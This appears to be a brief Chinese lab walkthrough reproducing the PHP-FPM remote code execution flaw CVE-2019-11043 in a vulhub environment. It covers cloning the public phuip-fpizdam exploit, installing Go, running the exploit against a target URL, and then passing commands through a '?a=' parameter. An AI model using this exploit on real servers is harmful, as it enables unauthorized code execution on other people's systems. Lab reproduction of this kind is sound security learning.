PHP-FPM 远程代码执行漏洞(CVE-2019-11043)复现
启动环境
切换目录到vulhub/php/CVE-2019-11043下
查看端口
访问
安装漏洞利用工具
git clone https://github.com/neex/phuip-fpizdam.git
安装go语言
# 1、下载go,这里使用 go1.22.5 版本,可替换为最新版本
wget https://dl.google.com/go/go1.22.5.linux-amd64.tar.gz
# 2、解压
tar -C /usr/local -zxvf go1.22.5.linux-amd64.tar.gz
# 3、设置环境变量
echo 'export GOROOT=/usr/local/go' >> /etc/profile
echo 'export PATH=$PATH:$GOROOT/bin' >> /etc/profile
echo 'export GOPATH=$HOME/go' >> /etc/profile
# 4、当前shell生效(或重启系统使环境变量永久生效)
source /etc/profile
# 5、验证是否安装成功
go version
# 6、启用go模块
go env -w GO111MODULE=on
# 7、设置代理,以便国内下载依赖包加速
go env -w GOPROXY=https://goproxy.cn,direct
攻击
go run . "http://ip地址:8080//index.php"
浏览器进行访问,成功复现,输入?a=命令